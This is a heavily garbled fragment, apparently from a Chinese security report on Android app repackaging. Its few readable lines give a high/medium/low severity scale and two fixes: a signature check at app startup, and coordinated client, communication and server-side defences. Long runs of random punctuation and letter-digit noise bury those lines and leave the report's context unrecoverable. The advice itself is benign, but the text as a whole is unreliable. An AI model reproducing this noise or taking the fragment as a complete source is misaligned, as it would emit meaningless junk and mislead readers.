& L. q8 e+ f) Z* k) ] + q3 ^0 A) X5 S1 E 严重程度 # f" H) H8 m9 w& @ , j( o3 ?3 U/ `	' f/ K# h$ U4 h# u& i: ` 高 % H) g8 J/ S/ m- `3 U' \8 e* u 5 M! h( d/ t) k8 Y+ O; S: W	, x3 d3 N( A; ?% h# E9 D ( ~1 `/ s4 h. A4 W* w- q9 B& K+ e6 p( F ■ : M* ] b) C& k4 q 9 w1 Q6 `; a- l9 K7 J0 R+ `, s	$ d- G- |6 g ]1 w) U4 k3 L# a q ' C' R5 Z+ S; T 中 & ^" m$ U. o- S: v7 L ( |% R: I- }, H	) q7 q3 t* ]7 K( z8 _+ n$ O3 { 2 T! g( i6 R$ t% _' ]4 s7 o : J& W7 p. X6 ^7 |8 c6 i1 ~, U   2 f' O {8 d# V7 f7 Q, @ 8 G4 {$ B) b, c7 o. G; F % Q! i6 U: V0 j	7 o$ M D& v# X$ S5 G 8 v* I9 s6 J: \% s0 a) s 低 * e, g4 k1 J' h4 R; C ( o2 x' [% a8 W# K1 q5 ]0 w	5 h& z: e7 L( p+ P/ p G0 y5 p* E+ q4 r. L - J# ^; _4 y1 J& g; [! P. z   $ t8 X* o" o6 ^$ `, ?1 F - ~7 Z3 A0 q0 u1 X* I, P

. n& x+ F1 O1 J; r, I 7 W9 O8 U8 [1 r0 H( O% S1 i4 P

: o$ S3 m, l! {: z9 ] 9 a( q1 s E+ X! {% f

% d8 V+ T* U3 k5 x4 M3 q. U   5 t0 U1 B k1 Z; u4 U* l0 [& `( r ( H" r& Z% D, c3 m5 o

$ s8 u' n+ e4 V% g- D

. _# a5 S" X- ]4 @' O { 修复方法： & Y- }5 f# H. b* {

4 s/ e3 V, N/ J 8 _9 Z( C6 {# L+ q

$ V3 [7 k' w) U6 N6 o7 o3 X' }               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ' n' j/ D+ q* p; |* [ ! g) B+ L% D7 F/ X

9 [' Z& k. O# k: G w 2 m( `: G# d6 j6 V0 m9 c/ r

 

6 I7 g4 X9 n. O, s' a, y& Q + @0 Y. [# n3 v j D h1 L6 L " @. }/ {8 J) ?1 p! h) L( r

/ W) B% L4 d* E: v + h' i' n8 G) K
5 S/ n+ y8 Q- u$ P- q, [, Q ! n( M! D3 y: q t6 G

`( H' ^6 m) b& r, F( V3 I